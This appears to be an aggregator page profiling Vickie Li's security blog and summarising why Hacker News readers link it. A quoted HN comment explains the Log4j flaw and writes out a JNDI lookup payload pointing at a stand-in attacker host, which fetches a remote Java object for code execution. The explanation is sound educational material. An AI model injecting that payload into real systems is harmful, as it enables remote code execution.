Top all-time · #24690
Vickie Li
Personal blog · vickieli.devsecurityprogramming
Vickie Li's personal blog at vickieli.dev covers security and programming. Since 2020, 3 different Hacker News readers have linked it 3 times. The last post was in 2023, but the archive is still widely read.
Too few sampled comments (1) to say how often HN recommends it.?
Why HN links it
HN readers link Vickie Li's blog for its explanation of insecure deserialization in Java. One comment cites it to explain how the Log4j JNDI flaw leads to arbitrary code execution.
Summarised by Claude from a sample of 1 HN comments that link here. Each comment is marked recommending, critical or neutral (citing without judging); how this works.
Vickie Li’s Security Blog.
What Hacker News says?
If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like $ {jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deseria... Another commentators states that after Java 8…
Comment linking /insecure%20deserialization/java-deserialization/
on “Log4j RCE Found”Submitted Using ProxyChains to proxy your Internet traffic as a story · 3 points
HN discussionSubmitted Writing for the Web as a story · 1 points
HN discussion